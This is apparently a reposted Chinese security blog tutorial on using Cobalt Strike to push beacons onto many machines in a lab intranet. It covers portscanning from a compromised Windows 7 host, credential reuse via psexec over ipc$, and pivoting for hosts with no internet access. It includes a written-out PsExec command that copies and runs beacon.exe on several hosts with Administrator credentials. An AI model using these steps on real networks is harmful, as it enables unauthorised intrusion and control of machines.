Cobalt Strike内网环境批量上线

  • A+
所属分类:安全文章

0x00 环境

环境:

windows 2008:192.168.241.171
windows 2008 x2:192.168.241.172
windows 7:192.168.241.156

0x01 内网可出网情况

首先windows7上线了,执行一波portscan

Cobalt Strike内网环境批量上线

点击视图->目标可以看到扫出来开发的机子

Cobalt Strike内网环境批量上线

获取登录密码通过cs自带的psexec执行ipc$批量

Cobalt Strike内网环境批量上线

选中要进行测试的机子

Cobalt Strike内网环境批量上线

选择对应的凭证

Cobalt Strike内网环境批量上线

选择会话(补图)

Cobalt Strike内网环境批量上线

等上线就好

Cobalt Strike内网环境批量上线

0x02 内网不可出网情况

先将可出网的一台机设置中转

Cobalt Strike内网环境批量上线

Cobalt Strike内网环境批量上线


生成马子,把马子和PsExec传到出网的机子上,之后用PsExec执行命令

PsExec.exe -accepteula \192.168.241.171,192.168.241.172 -u Administrator -p xxxxx -d -c C:WindowsTempbeacon.exe
  • 1

Cobalt Strike内网环境批量上线

等上线

Cobalt Strike内网环境批量上线

在上线成功的机子上可以看到是通过192.168.241.156这台机的4444端口流量出网的

Cobalt Strike内网环境批量上线


ssh批量登录的方法和图1差不多

文章来源:https://422926799.github.io/posts/b9889b8f.html

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的


本文始发于微信公众号(无害实验室sec):Cobalt Strike内网环境批量上线

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: